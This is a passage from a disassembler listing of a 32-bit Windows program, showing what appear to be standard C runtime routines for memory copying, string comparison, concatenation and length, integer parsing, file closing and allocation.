		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528


loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------


loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------


loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------


loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------


loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------


loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld


loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------


loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------


loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C


loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi


loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0


loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_433E7C, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------


loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------


loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE


loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx


loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_433E7C, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------


loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------


loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax


loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------


loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7


loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4


loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi


loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9


loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]


loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------


loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------


loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------


loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------


loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi


loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC


loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD


loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------


loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]


loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56


loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------


loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4


loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------


loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0


loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0


loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------


loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50


loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C


loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73


loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B


loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_4CDA14
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4


loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2


loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

